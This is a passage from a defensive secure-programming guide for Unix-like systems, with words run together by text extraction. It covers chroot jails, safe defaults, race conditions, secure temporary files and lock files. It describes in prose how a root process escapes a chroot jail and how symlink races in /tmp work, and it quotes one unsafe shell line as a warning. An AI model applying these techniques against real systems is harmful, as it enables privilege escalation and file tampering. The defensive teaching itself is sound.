signalto theprocess.Also, avoiding raceconditionsis mucheasierin thissituation.
However, adisadvantageof this approachis thatthesecallsarenotportableto other
Unix-likesystems.

6.3.6. Consider Using Chroot to Minimiz e Availab le
Files
You canusechroot(2)to limit thefilesvisible to yourprogram.This requirescarefully
settingupa directory(calledthe“chroot jail”) andcorrectlyenteringit. Thiscanbea
fairly effective techniquefor improving aprogram’ssecurity- it’ shardto interferewith
filesyou can’t see.However, it dependson awholebunchof assumptions,in particular,
theprogrammustlack rootprivileges,it mustnothaveany way to getrootprivileges,
andthechrootjail mustbeproperlysetup. I recommendusingchroot(2)whereit
makessenseto doso,but don’t dependon it alone;instead,make it partof a layeredset
of defenses.Herearea few notesabouttheuseof chroot(2):

• Theprogramcanstill usenon-filesystemobjectsthataresharedacrosstheentire
machine(suchasSystemV IPC objectsandnetwork sockets).It’ sbestto alsouse
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separatepseudousersand/orgroups,becauseall Unix-likesystemsincludetheability
to isolateusers;this will at leastlimit thedamagea subvertedprogramcando to
otherprograms.NotethatcurrentmostUnix-likesystems(includingLinux) won’t
isolateintentionallycooperatingprograms;if you’reworriedaboutmalicious
programscooperating,you needto getasystemthatimplementssomesortof
mandatoryaccesscontroland/orlimits covertchannels.

• Besureto closeany filesystemdescriptorsto outsidefiles if youdon’t wantthem
usedlater. In particular, don’t haveany descriptorsopento directoriesoutsidethe
chrootjail, or setupa situationwheresuchadescriptorcouldbegivento it (e.g.,via
Unix socketsor anold implementationof /proc).If theprogramis givenadescriptor
to adirectoryoutsidethechrootjail, it couldbeusedto escapeoutof thechrootjail.

• Thechrootjail hasto besetup to besecure.Don’t usea normaluser’shome
directory(or subdirectory)asachrootjail; useaseparatelocationor “home”
directoryspeciallysetasidefor thepurpose.Placetheabsoluteminimumnumberof
files there.Typically you’ll havea /bin, /etc/,/lib, andmaybeoneor two others(e.g.,
/pubif it’ sanftp server).Placein /bin only whatyouneedto run afterdoingthe
chroot();sometimesyou neednothingat all (try to avoid placingashellthere,
thoughsometimesthatcan’t behelped).Youmayneeda /etc/passwdand/etc/group
sofile listingscanshow somecorrectnames,but if so,try not to includethereal
system’svalues,andcertainlyreplaceall passwordswith "*". In /lib, placeonly what
youneed;useldd(1) to queryeachprogramin /bin to find outwhatit needs,andonly
includethem.On Linux, you’ll probablyneeda few basiclibrarieslike ld-linux.so.2,
andnotmuchelse.It’ susuallywiserto completelycopy in all files, insteadof
makinghardlinks; while this wastessometimeanddiskspace,it makesit sothat
attackson thechrootjail filesdo notautomaticallypropogateinto theregular
system’sfiles.Mountinga /procfilesystem,on systemswherethis is supported,is
generallyunwise.In fact,in 2.0.xversionsof Linux it’ saknown securityflaw, since
therearepseudodirectoriesin /procthatwouldpermitachroot’edprogramto escape.
Linux kernel2.2fixedthis known problem,but theremaybeothers;if possible,
don’t do it.

• Chrootreally isn’t effective if theprogramcanacquirerootprivilege.For example,
theprogramcouldusecallslikemknod(2)to createadevicefile thatcanview
physicalmemory, andthenusetheresultingdevicefile to modify kernelmemoryto
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give itself whateverprivilegesit desired.Anotherexampleof how a rootprogram
canbreakoutof chrootis demonstratedat http://www.suid.edu/source/breakchroot.c.
In this example,theprogramopensafile descriptorfor thecurrentdirectory, creates
andchrootsinto asubdirectory, setsthecurrentdirectoryto thepreviously-opened
currentdirectory, repeatedlycd’sup from thecurrentdirectory(whichsinceit is
outsidethecurrentchrootsucceedsin moving up to therealfilesystemroot),and
thencallschrooton theresult.By thetime you readthis, theseweaknessesmayhave
beenplugged,but thereality is thatrootprivilegehastraditionallymeant“all
privileges”andit’ shardto strip themaway. It’ sbetterto assumethataprogram
requiringcontinuousroot privilegeswill only bemildly helpedusingchroot().Of
course,youmaybeableto breakyourprograminto parts,sothatat leastpartof it
canbein a chrootjail.

6.3.7. Consider Minimizing the Accessib le Data
Considerminimizing theamountof datathatcanbeaccessedby theuser. For example,
in CGI scripts,placeall datausedby theCGI scriptoutsideof thedocumenttreeunless
thereis a reasontheuserneedsto seethedatadirectly. Somepeoplehave thefalse
notionthat,by notpublicallyproviding a link, no onecanaccessthedata,but this is
simplynot true.

6.4. Avoid Creating Setuid/Setgid Scripts
Many Unix-likesystems,in particularLinux, simply ignorethesetuidandsetgidbits
on scriptsto avoid theraceconditiondescribedearlier. Sincesupportfor setuidscripts
variesonUnix-likesystems,they’rebestavoidedin new applicationswherepossible.
As aspecialcase,Perlincludesaspecialsetupto supportsetuidPerlscripts,sousing
setuidandsetgidis acceptablein Perlif you truly needthiskind of functionality. If you
needto supportthis kind of functionalityin yourown interpreter, examinehow Perl
doesthis.Otherwise,asimpleapproachis to “wrap” thescriptwith asmall
setuid/setgidexecutablethatcreatesasafeenvironment(e.g.,clearsandsets
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environmentvariables)andthencallsthescript(usingthescript’s full path).Makesure
thatthescriptcannotbechangedby anattacker! Shellscriptinglanguageshave
additionalproblems,andreally shouldnot besetuid/setgid;seeSection9.4for more
informationaboutthis.

6.5. Configure Safely and Use Safe
Defaults
Configurationis consideredto currentlybethenumberonesecurityproblem.
Therefore,youshouldspendsomeeffort to (1) make theinitial installationsecure,and
(2) make it easyto reconfigurethesystemwhile keepingit secure.

Neverhavetheinstallationroutinesinstall aworking “default” password. If youneedto
install new “users”,that’sfine - just setthemup with animpossiblepassword, leaving
time for administratorsto setthepassword (andleaving thesystemsecurebeforethe
password is set).Administratorswill probablyinstall hundredsof packagesandalmost
certainlyforgetto setthepassword - it’ s likely they won’t evenknow to setit, if you
createadefault password.

A programshouldhave themostrestrictiveaccesspolicy until theadministratorhasa
chanceto configureit. Pleasedon’t create“sample”workingusersor “allow accessto
all” configurationsasthestartingconfiguration;many usersjust “install everything”
(installingall availableservices)andnevergetaroundto configuringmany services.In
somecasestheprogrammaybeableto determinethatamoregenerouspolicy is
reasonableby dependingon theexistingauthenticationsystem,for example,anftp
servercouldlegitimatelydeterminethata userwho canlog into auser’s directory
shouldbeallowedto accessthatuser’sfiles.Be carefulwith suchassumptions,
however.

Have installationscriptsinstall aprogramassafelyaspossible.By default, install all
filesasownedby rootor someothersystemuserandmake themunwriteableby others;
this preventsnon-rootusersfrom installingviruses.Indeed,it’ sbestto make them
unreadableby all but thetrusteduser. Allow non-rootinstallationwherepossibleas
well, sothatuserswithout root privilagesandadministratorswhodo not fully trustthe
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installercanstill usetheprogram.

Try to makeconfigurationaseasyandclearaspossible,includingpost-installation
configuration.Makeusingthe“secure”approachaseasyaspossible,or many users
will useaninsecureapproachwithoutunderstandingtherisks.On Linux, take
advantageof toolslike linuxconf,sothatuserscaneasilyconfiguretheir systemusing
anexisting infrastructure.

If there’saconfigurationlanguage,thedefault shouldbeto deny accessuntil theuser
specificallygrantsit. Includemany clearcommentsin thesampleconfigurationfile, if
thereis one,sotheadministratorunderstandswhattheconfigurationdoes.

6.6. Fail Safe
A secureprogramshouldalways“f ail safe”,thatis, it shouldbedesignedsothatif the
programdoesfail, thesafestresultshouldoccur. For security-criticalprograms,that
usuallymeansthatif somesortof misbehavior is detected(malformedinput, reachinga
“can’t gethere”state,andsoon), thentheprogramshouldimmediatelydeny service
andstopprocessingthatrequest.Don’t try to “figure outwhattheuserwanted”:just
deny theservice.Sometimesthis candecreasereliability or usability(from auser’s
perspective),but it increasessecurity. Therearea few caseswherethis might notbe
desired(e.g.,wheredenialof serviceis muchworsethanlossof confidentialityor
integrity), but suchcasesarequiterare.

NotethatI recommend“stopprocessingtherequest”,not “f ail altogether”.In
particular, mostserversshouldnotcompletelyhaltwhengivenmalformedinput,
becausethatcreatesa trivial opportunityfor adenialof serviceattack(theattacker just
sendsgarbagebits to preventyou from usingtheservice).Sometimestakingthewhole
serverdown is necessary, in particular, reachingsome“can’t gethere”statesmaysignal
aproblemsodrasticthatcontinuingis unwise.

Considercarefullywhaterrormessageyou sendbackwhena failureis detected.if you
sendnothingback,it maybehardto diagnoseproblems,but sendingbacktoomuch
informationmayunintentionallyaid anattacker. Usuallythebestapproachis to reply
with “accessdenied”or “miscellaneouserrorencountered”andthenwrite more
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detailedinformationto anauditlog (whereyoucanhavemorecontroloverwhosees
theinformation).

6.7. Avoid Race Conditions
A “racecondition” canbedefinedas“Anomolousbehavior dueto unexpectedcritical
dependenceon therelative timing of events”[FOLDOC]. Raceconditionsgenerally
involveoneor moreprocessesaccessingasharedresource(suchafile or variable),
wherethismultipleaccesshasnotbeenproperlycontrolled.

In general,processesdonot executeatomically;anotherprocessmayinterruptit
betweenessentiallyany two instructions.If asecureprogram’sprocessis notprepared
for theseinterruptions,anotherprocessmaybeableto interferewith thesecure
program’sprocess.Any pair of operationsmustnot fail if anotherprocess’s code
arbitrarycodeis executedbetweenthem.

Raceconditionproblemscanbenotionallydividedinto two categories:

• Interferencecausedby untrustedprocesses.Somesecuritytaxonomiescall this
problema“sequence”or “non-atomic”condition.Theseareconditionscausedby
processesrunningother, differentprograms,which “slip in” otheractionsbetween
stepsof thesecureprogram.Theseotherprogramsmightbeinvokedby anattacker
specificallyto causetheproblem.Thisbookwill call thesesequencingproblems.

• Interferencecausedby trustedprocesses(from thesecureprogram’spoint of view).
Sometaxonomiescall thesedeadlock,livelock,or locking failureconditions.These
areconditionscausedby processesrunningthe“same”program.Sincethese
differentprocessesmayhave the“same”privileges,if notproperlycontrolledthey
maybeableto interferewith eachotherin a wayotherprogramscan’t. Sometimes
thiskind of interferencecanbeexploited.Thisbookwill call theselockingproblems.

6.7.1. Sequencing (Non-Atomic) Problems
In general,you mustcheckyour codefor any pair of operationsthatmight fail if
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arbitrarycodeis executedbetweenthem.

Notethatloadingandsaving asharedvariableareusuallyimplementedasseparate
operationsandarenotatomic.Thismeansthatan“incrementvariable”operationis
usuallyconvertedinto loading,incrementing,andsaving operation,soif thevariable
memoryis sharedtheotherprocessmayinterferewith theincrementing.

Secureprogramsmustdetermineif a requestshouldbegranted,andif so,acton that
request.Theremustbenoway for anuntrusteduserto changeanythingusedin this
determinationbeforetheprogramactson it. Thiskind of raceconditionis sometimes
termeda “time of check- timeof use”(TOCTOU) racecondition.

6.7.1.1. Atomic Actions in the Filesystem

Theproblemof failing to performatomicactionsrepeatedlycomesup in the
filesystem.In general,thefilesystemis asharedresourceusedby many programs,and
someprogramsmayinterferewith its useby otherprograms.Secureprogramsshould
generallyavoid usingaccess(2)to determineif a requestshouldbegranted,followed
laterby open(2),becauseusersmaybeableto movefilesaroundbetweenthesecalls,
possiblycreatingsymboliclinks or filesof theirown choosinginstead.A secure
programshouldinsteadsetits effective id or filesystemid, thenmake theopencall
directly. It’ spossibleto useaccess(2)securely, but only whenausercannotaffect the
file or any directoryalongits pathfrom thefilesystemroot.

Whencreatingafile, youshouldopenit usingthemodesO_CREAT | O_EXCL and
grantonly verynarrow permissions(only to thecurrentuser);you’ll alsoneedto
preparefor having theopenfail. If youneedto beableto openthefile (e.g,.to prevent
adenial-of-service),you’ll needto repetitively (1) createa“random”filename,(2) open
thefile asnoted,and(3) stoprepeatingwhentheopensucceeds.

Ordinaryprogramscanbecomesecurityweaknessesif they don’t createfilesproperly.
For example,the“joe” text editorhadaweaknesscalledthe“DEADJOE” symlink
vulnerability. Whenjoewasexited in a nonstandardway (suchasasystemcrash,
closinganxterm,or anetwork connectiongoingdown), joe wouldunconditionally
appendits openbuffersto thefile "DEADJOE".Thiscouldbeexploitedby thecreation
of DEADJOEsymlinksin directorieswhereroot wouldnormallyusejoe. In this way,
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joe couldbeusedto appendgarbageto potentially-sensitivefiles, resultingin adenial
of serviceand/orunintentionalaccess.

As anotherexample,whenperformingaseriesof operationsona file’s
metainformation(suchaschangingits owner, stat-ingthefile, or changingits
permissionbits),first openthefile andthenusetheoperationson openfiles.This
meansusethefchown( ), fstat(), or fchmod() systemcalls,insteadof thefunctions
takingfilenamessuchaschown(), chgrp(),andchmod().Doingsowill preventthefile
from beingreplacedwhile yourprogramis running(apossibleracecondition).For
example,if youcloseafile andthenusechmod()to changeits permissions,anattacker
maybeableto moveor remove thefile betweenthosetwo stepsandcreateasymbolic
link to anotherfile (say/etc/passwd).Otherinterestingfiles include/dev/zero,which
canprovideaninfinitely-longdatastreamof input to aprogram;if anattackercan
“switch” thefile midstream,theresultscanbedangerous.

But eventhis getscomplicated- whencreatingfiles,youmustgive themasaminimal
setof rightsaspossible,andthenchangetherightsto bemoreexpansiveif you desire.
Generally, this meansyouneedto useumaskand/oropen’sparametersto limit initial
accessto just theuserandusergroup.For example,if youcreateafile thatis initially
world-readable,thentry to turnoff the“world readable”bit, anattacker couldtry to
openthefile while thepermissionbits saidthis wasokay. OnmostUnix-likesystems,
permissionsareonly checkedon open,sothiswould resultin anattackerhaving more
privilegesthanintended.

In general,if multipleuserscanwrite to adirectoryin aUnix-likesystem,you’d better
have the“sticky” bit seton thatdirectory, andsticky directorieshadbetterbe
implemented.It’ s muchbetterto completelyavoid theproblem,however, andcreate
directoriesthatonly a trustedspecialprocesscanaccess(andthenimplementthat
carefully).ThetraditionalUnix temporarydirectories(/tmpand/var/tmp)areusually
implementedas“sticky” directories,andall sortsof securityproblemscanstill surface,
aswe’ll seenext.

6.7.1.2. Temporar y Files

This issueof correctlyperformingatomicoperationsparticularlycomesup when
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creatingtemporaryfiles.Temporaryfiles in Unix-likesystemsaretraditionallycreated
in the/tmp or /var/tmpdirectories,which aresharedby all users.A commontrick by
attackersis to createsymboliclinks in thetemporarydirectoryto someotherfile (e.g.,
/etc/passwd)while your secureprogramis running.Theattacker’sgoalis to createa
situationwherethesecureprogramdeterminesthatagivenfilenamedoesn’t exist, the
attacker thencreatesthesymboliclink to anotherfile, andthenthesecureprogram
performssomeoperation(but now it actuallyopenedanunintendedfile). Often
importantfilescanbeclobberedor modifiedthisway. Therearemany variationsto this
attack,suchascreatingnormalfiles,all basedon theideathattheattackercancreate
(or sometimesotherwiseaccess)file systemobjectsin thesamedirectoryusedby the
secureprogramfor temporaryfiles.

Thegeneralproblemwhencreatingfiles in theseshareddirectoriesis thatyoumust
guaranteethatthefilenameyou planto usedoesn’t alreadyexist at timeof creation.
Checking“before” youcreatethefile doesn’t work, becauseafterthecheckoccurs,but
beforecreation,anotherprocesscancreatethatfile with thatfilename.Usingan
“unpredictable”or “unique” filenamedoesn’t work in general,becauseanotherprocess
canoftenrepeatedlyguessuntil it succeeds.

Fundamentally, to createa temporaryfile in ashared(sticky) directory, you must
repetitively: (1) createa “random”filename,(2) openit usingO_CREAT | O_EXCL
andverynarrow permissions,and(3) stoprepeatingwhentheopensucceeds.

Accordingto the1997“Single Unix Specification”,thepreferredmethodfor creating
anarbitrarytemporaryfile is tmpfile(3).Thetmpfile(3)functioncreatesa temporary
file andopensacorrespondingstream,returningthatstream(or NULL if it didn’t).
Unfortunately, thespecificationdoesn’t makeany guaranteesthatthefile will be
createdsecurely, andI’vebeenunableto assuremyself thatall implementationsdo this
securely. Implementationsof tmpfile(3)shouldsecurelycreatesuchfiles,of course,but
it’ sdifficult to recommendtmpfile(3)becausethere’s alwaysthepossibilitythata
library implementationfails to do so.This illustratesamoregeneralissue,thetension
betweenabstraction(which hides“unnecessary”details)andsecurity(wherethese
“unnecessary”detailsaresuddenlycritical). If I couldsatisfymyselfthattmpfile(3)
wastrustworthy, I’d useit, sinceit’ s thesimplestsolutionfor many situations.

Kris Kennawayrecommendsusingmkstemp(3)for makingtemporaryfiles in general.

105



Chapter6. StructureProgramInternalsandApproach

His rationaleis thatyoushouldusewell-known library functionsto performthis task
insteadof rolling yourown functions,andthatthis functionhaswell-known semantics.
This is certainlya reasonableposition.I wouldaddthat,if youusemkstemp,besureto
useumask(2)to limit theresultingtemporaryfile permissions’s to only theowner. This
is becausesomeimplementationsof mkstemp(3)(basicallyolderones)makesuchfiles
readableandwriteableby all, creatingaconditionin whichanattackercanreador
write privatedatain this directory. A minor nuisanceis thatmkstemp(3)doesn’t
directlysupporttheenvironmentvariablesTMP or TMPDIR (asdiscussedbelow), soif
you wantto supportthemyouhave to addcodeto do so.Here’s aprogramin C that
demonstrateshow to usemkstemp(3)for this purpose,bothdirectlyandwhenadding
supportfor TMP andTMPDIR:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

void failure(msg) {
fprintf(stderr, "%s\n", msg);
exit(1);

}

/*
* Given a "pattern" for a temporary filename
* (starting with the directory location and ending in XXXXXX),
* create the file and return it.
* This routines unlinks the file, so normally it won’t appear in
* a directory listing.
* The pattern will be changed to show the final filename.
*/

FILE *create_tempfile(char *temp_filename_pattern)
{
int temp_fd;
mode_t old_mode;
FILE *temp_file;

old_mode = umask(077); /* Create file with restrictive permissions */
temp_fd = mkstemp(temp_filename_pattern);
(void) umask(old_mode);
if (temp_fd == -1) {
failure("Couldn’t open temporary file");

}
if (!(temp_file = fdopen(temp_fd, "w+b"))) {
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failure("Couldn’t create temporary file’s file descriptor");
}
if (unlink(temp_filename_pattern) == -1) {
failure("Couldn’t unlink temporary file");

}
return temp_file;

}

/*
* Given a "tag" (a relative filename ending in XXXXXX),
* create a temporary file using the tag. The file will be created
* in the directory specified in the environment variables
* TMPDIR or TMP, if defined and we aren’t setuid/setgid, otherwise
* it will be created in /tmp. Note that root (and su’d to root)
* _will_ use TMPDIR or TMP, if defined.
*
*/

FILE *smart_create_tempfile(char *tag)
{
char *tmpdir = NULL;
char *pattern;
FILE *result;

if ((getuid()==geteuid()) && (getgid()==getegid())) {
if (! ((tmpdir=getenv("TMPDIR")))) {
tmpdir=getenv("TMP");

}
}
if (!tmpdir) {tmpdir = "/tmp";}

pattern = malloc(strlen(tmpdir)+strlen(tag)+2);
if (!pattern) {
failure("Could not malloc tempfile pattern");

}
strcpy(pattern, tmpdir);
strcat(pattern, "/");
strcat(pattern, tag);
result = create_tempfile(pattern);
free(pattern);
return result;

}

main() {
int c;
FILE *demo_temp_file1;
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FILE *demo_temp_file2;
char demo_temp_filename1[] = "/tmp/demoXXXXXX";
char demo_temp_filename2[] = "second-demoXXXXXX";

demo_temp_file1 = create_tempfile(demo_temp_filename1);
demo_temp_file2 = smart_create_tempfile(demo_temp_filename2);
fprintf(demo_temp_file2, "This is a test.\n");
printf("Printing temporary file contents:\n");
rewind(demo_temp_file2);
while ( (c=fgetc(demo_temp_file2)) != EOF) {
putchar(c);

}
putchar(’\n’);
printf("Exiting; you’ll notice that there are no temporary files on exit.\n");

}

Kennawayalsonotesthatif youcan’t usemkstemp(3),thenmakeyourselfadirectory
usingmkdtemp(3),which is protectedfrom theoutsideworld. Finally, if you really
have to usetheinsecuremktemp(3),uselots of X’s - hesuggests10 (if your libc allows
it) sothatthefilenamecan’t easilybeguessed(usingonly 6 X’smeansthat5 aretaken
up by thePID, leaving only onerandomcharacterandallowing anattacker to mountan
easyracecondition).I addthatyoushouldavoid tmpnam(3)aswell - someof its uses
aren’t reliablewhenthreadsarepresent,andit doesn’t guaranteethatit will work
correctlyafterTMP_MAX uses(yet mostpracticalusesmustbeinsidea loop).

In general,you shouldavoid usingtheinsecurefunctionssuchasmktemp(3)or
tmpnam(3),unlessyou takespecificmeasuresto countertheir insecurities.If you ever
wantto makeafile in /tmpor aworld-writabledirectory(or group-writable,if you
don’t trustthegroup)anddon’t wantto usemk*temp()(e.g.you intendfor thefile to
bepredictablynamed),thenalwaysusetheO_CREAT andO_EXCL flagsto open()
andcheck thereturnvalue. If you fail theopen()call, thenrecovergracefully(e.g.exit).

TheGNOMEprogrammingguidelinesrecommendthefollowing C codewhencreating
filesystemobjectsin shared(temporary)directoriesto securityopentemporaryfiles
[Quintero2000]:

char *filename;
int fd;

do {
filename = tempnam (NULL, "foo");
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fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
free (filename);

} while (fd == -1);

Notethat,althoughtheinsecurefunctiontempnam(3)is beingused,it is wrapped
insidea loopusingO_CREAT andO_EXCL to counteractits securityweaknesses.
Notethatyou needto free()thefilename.Youshouldclose()andunlink() thefile after
you aredone.If youwantto usetheStandardC I/O library, youcanusefdopen()with
mode"w+b" to transformthefile descriptorinto a FILE *. Notethatthis approach
won’t work overNFSversion2 (v2) systems,becauseolderNFSdoesn’t correctly
supportO_EXCL.Notethatoneminor disadvantageto this approachis that,since
tempnamcanbeusedinsecurely, variouscompilersandsecurityscannersmaygiveyou
spuriouswarningsaboutits use.This isn’t aproblemwith mkstemp(3).

If youneeda temporaryfile in ashellscript,you’reprobablybestoff usingpipes,using
a local directory(e.g.,somethinginsidetheuser’shomedirectory),or in somecases
usingthecurrentdirectory. Thatway, there’sno sharingunlesstheuserpermitsit. If
you reallywant/needthetemporaryfile to bein ashareddirectorylike /tmp,do not use
thetraditionalshelltechniqueof usingtheprocessid in a templateandjust creatingthe
file usingnormaloperationslike ">". Shellscriptscanuse"$$" to indicatethePID, but
thePID canbeeasilydeterminedor guessedby anattacker, whocanthenpre-create
filesor links with thesamename.Thusthefollowing "typical" shellscriptis unsafe:

echo "This is a test" > /tmp/test$$ # DON’T DO THIS.

If youneeda temporaryfile or directoryin a shellscript,andyouwantit in /tmp, the
solutionis probablymktemp(1),which is intendedfor usein shellscripts.Notethat
mktemp(1)andmktemp(3)aredifferentthings- it’ smktemp(1)thatis safe.To be
honest,I’m notenamoredof shellscriptscreatingtemporaryfiles in shareddirectories;
creatingsuchfiles in privatedirectoriesor usingpipesinsteadis generallypreferable.
However, if you really needit, useit; mktemp(1)takesa template,thencreatesafile or
directoryusingO_EXCLandreturnstheresultingname;sinceit usesO_EXCL, it’ s
safeonshareddirectorieslike /tmp(unlessthedirectoryusesNFSversion2). Hereare
someexamplesof correctuseof mktemp(1)in Bourneshellscripts;theseexamplesare
straightfrom themktemp(1)manpage:

109



Chapter6. StructureProgramInternalsandApproach

# Simple use of mktemp(1), where the script should quit
# if it can’t get a safe temporary file:

TMPFILE=‘mktemp /tmp/$0.XXXXXX‘ || exit 1
echo "program output" » $TMPFILE

# Simple example, if you want to catch the error:

TMPFILE=‘mktemp -q /tmp/$0.XXXXXX‘
if [ $? -ne 0 ]; then

echo "$0: Can’t create temp file, exiting..."
exit 1

fi

Don’t reusea temporaryfilename(i.e. removeandrecreateit), no matterhow you
obtainedthe“secure”temporaryfilenamein thefirst place.An attackercanobserve the
original filenameandhijack it beforeyou recreateit thesecondtime.And of course,
alwaysuseappropriatefile permissions.For example,only allow world/groupaccessif
you needtheworld or a groupto accessthefile, otherwisekeepit mode0600(i.e.,only
theownercanreador write it).

Cleanupafteryourself,eitherby usinganexit handler, or makinguseof UNIX
filesystemsemanticsandunlink()ing thefile immediatelyaftercreationsothedirectory
entrygoesawaybut thefile itself remainsaccessibleuntil thelastfile descriptor
pointingto it is closed.Youcanthencontinueto accessit within yourprogramby
passingaroundthefile descriptor. Unlinking thefile hasa lot of advantagesfor code
maintenance:thefile is automaticallydeleted,no matterhow your programcrashes.
Theoneminor problemwith immediateunlinking is thatit makesit slightly harderfor
administratorsto seehow diskspaceis beingused,sincethey can’t simply look at the
file systemby name.

You mightconsiderensuringthatyour codefor Unix-likesystemsrespectsthe
environmentvariablesTMP or TMPDIR if theproviderof thesevariablevaluesis
trusted.By doingso,youmake it possiblefor usersto movetheir temporaryfiles into
anunshareddirectory(andeliminatingtheproblemsdiscussedhere).Recentversions
of Bastillesetthesevariablesto reducethesharingdonebetweenusers.Unfortunately,
many userssetTMP or TMPDIR to ashareddirectory(say/tmp),soyou still needto
correctlycreatetemporaryfilesevenif you listedto theseenvironmentvariables.This
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is oneadvantageof theGNOMEapproach,sinceat leaston somesystemstempnam(3)
automaticallyusesTMPDIR, while themkstemp(3)approachrequiresmorecodeto do
this.Pleasedon’t createyetmoreenvironmentvariablesfor temporarydirectories(such
asTEMP),andin particulardon’t createadifferentenvironmentnamefor each
application(e.g.,don’t use"MYAPP_TEMP").Doingsogreatlycomplicatesmanaging
systems,anduserswantingaspecialtemporarydirectorycanjust settheenvironment
variablefor thatparticularexecution.Of course,if theseenvironmentvariablesmight
havebeensetby anuntrustedsource,youshouldignorethem- whichyou’ll doanyway
if you follow theadvicein Section4.2.3.

Thesetechniquesdon’t work if thetemporarydirectoryis remotelymountedusingNFS
version2 (NFSv2),becauseNFSv2doesn’t properlysupportO_EXCL.SeeSection
6.7.2.1for moreinformation.NFSversion3 andlaterproperlysupportO_EXCL; the
simplesolutionis to ensurethattemporarydirectoriesareeitherlocal or, if mounted
usingNFS,mountedusingNFSversion3 or later. Thereis a techniquefor safely
creatingtemporaryfileson NFSv2, involving theuseof link(2) andstat(2),but it’ s
complex; seeSection6.7.2.1which hasmoreinformationaboutthis.

As anaside,it’ sworthnotingthatFreeBSDhasrecentlychangedthemk*temp()family
to getrid of thePID componentof thefilenameandreplacetheentirethingwith
base-62encodedrandomness.Thisdrasticallyraisesthenumberof possibletemporary
files for the"default" usageof 6 X’s,meaningthatevenmktemp(3)with 6 X’s is
reasonably(probabilistically)secureagainstguessing,exceptundervery frequent
usage.However, if you alsofollow theguidancehere,you’ll eliminatetheproblem
they’readdressing.

Muchof this informationontemporaryfileswasderivedfrom Kris Kennaway’sposting
to Bugtraqabouttemporaryfileson December15,2000
(http://lwn.net/2000/1221/a/sec-tmp.php3).

6.7.2. Loc king
Thereareoftensituationsin whichaprogrammustensurethatit hasexclusiverightsto
something(e.g.,afile, a device,and/orexistenceof a particularserverprocess).Any
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systemwhich locksresourcesmustdealwith thestandardproblemsof locks,namely,
deadlocks(“deadlyembraces”),livelocks,andreleasing“stuck” locksif a program
doesn’t cleanup its locks.A deadlockcanoccurif programsarestuckwaiting for each
otherto releaseresources.For example,a deadlockwouldoccurif process1 locks
resourcesA andwaitsfor resourceB, while process2 locksresourceB andwaitsfor
resourceA. Many deadlockscanbepreventedby simply requiringall processesthat
lock multiple resourcesto lock themin thesameorder(e.g.,alphabeticallyby lock
name).

6.7.2.1. Using Files as Loc ks

On Unix-likesystemsresourcelocking hastraditionallybeendoneby creatingafile to
indicatea lock, becausethis is veryportable.It alsomakesit easyto “fix” stucklocks,
becauseanadministratorcanjust look at thefilesystemto seewhatlockshavebeenset.
Stucklockscanoccurbecausetheprogramfailedto cleanupafteritself (e.g.,it crashed
or malfunctioned)or becausethewholesystemcrashed.Notethattheseare“advisory”
(not “mandatory”)locks- all processesneededtheresourcemustcooperateto usethese
locks.

However, thereareseveraltrapsto avoid. First,don’t usethetechniqueusedby very
old Unix C programs,which is callingcreat()or its open()equivalent,theopen()mode
O_WRONLY | O_CREAT | O_TRUNC, with thefile modesetto 0 (no permissions).
For normalusersonnormalfile systems,this works,but this approachfails to lock the
file whentheuserhasroot privileges.Rootcanalwaysperformthis operation,even
whenthefile alreadyexists.In fact,old versionsof Unix hadthis particularproblemin
theold editor“ed” – thesymptomwasthatoccasionallyportionsof thepasswordfile
wouldbeplacedin user’sfiles [Rochkind1985,22]! Instead,if you’recreatinga lock
for processesthatareon thelocal filesystem,youshoulduseopen()with theflags
O_WRONLY | O_CREAT | O_EXCL (andagain,nopermissions,sothatother
processeswith thesameownerwon’t getthelock). Notetheuseof O_EXCL,which is
theofficial way to create“exclusive” files; this evenworksfor rooton a local
filesystem.[Rochkind1985,27].

Second,if thelock file maybeonanNFS-mountedfilesystem,thenyou have the
problemthatNFSversion2 doesn’t completelysupportnormalfile semantics.Thiscan
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evenbeaproblemfor work that’ssupposedto be“local” to a client,sincesomeclients
don’t have local disksandmayhaveall files remotelymountedvia NFS.Themanual
for open(2)explainshow to handlethingsin this case(whichalsohandlesthecaseof
root programs):

“... programswhich rely on [theO_CREAT andO_EXCL flagsof open(2)]for
performinglocking taskswill containa racecondition.Thesolutionfor performing
atomicfile lockingusinga lockfile is to createauniquefile on thesamefilesystem
(e.g.,incorporatinghostnameandpid), uselink(2) to makea link to thelockfile anduse
stat(2)on theuniquefile to checkif its link counthasincreasedto 2. Do not usethe
returnvalueof thelink(2) call.”

Obviously, this solutiononly worksif all programsdoingthelockingarecooperating,
andif all non-cooperatingprogramsaren’t allowedto interfere.In particular, the
directoriesyou’reusingfor file locking mustnothavepermissivefile permissionsfor
creatingandremoving files.

NFSversion3 addedsupportfor O_EXCL modein open(2);seeIETF RFC1813,in
particularthe"EXCLUSIVE" valueto the"mode"argumentof "CREATE". Sadly, not
everyonehasswitchedto NFSversion3 or higherat thetimeof this writing, soyou
you can’t dependon this yet in portableprograms.Still, in thelong run there’s hope
thatthis issuewill goaway.

If you’re locking adeviceor theexistenceof a processon a localmachine,try to use
standardconventions.I recommendusingtheFilesystemHierarchyStandard(FHS);it
is widely referencedby Linux systems,but it alsotriesto incorporatetheideasof other
Unix-likesystems.TheFHSdescribesstandardconventionsfor suchlocking files,
includingnaming,placement,andstandardcontentsof thesefiles [FHS 1997].If you
just wantto besurethatyour serverdoesn’t executemorethanonceon agiven
machine,youshouldusuallycreateaprocessidentifieras/var/run/NAME.pid with the
pid asits contents.In asimilar vein,youshouldplacelock files for thingslikedevice
lock files in /var/lock.Thisapproachhastheminor disadvantageof leaving files
hangingaroundif theprogramsuddenlyhalts,but it’ s standardpracticeandthat
problemis easilyhandledby othersystemtools.

It’ s importantthattheprogramswhicharecooperatingusingfiles to representthelocks
usethesamedirectory, not just thesamedirectoryname.This is anissuewith
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networkedsystems:theFHSexplicitly notesthat/var/runand/var/lockare
unshareable,while /var/mailis shareable.Thus,if youwantthelock to work ona
singlemachine,but not interferewith othermachines,useunshareabledirectorieslike
/var/run(e.g.,youwantto permiteachmachineto run its own server).However, if you
wantall machinessharingfiles in anetwork to obey thelock, you needto usea
directorythatthey’resharing;/var/mailis onesuchlocation.SeeFHSsection2 for
moreinformationon this subject.

6.7.2.2. Other Appr oaches to Loc king

Of course,youneednot usefiles to representlocks.Network serversoftenneednot
bother;themereactof bindingto aportactsasakind of lock, sinceif there’san
existingserverboundto a givenport,no otherserverwill beableto bind to thatport.

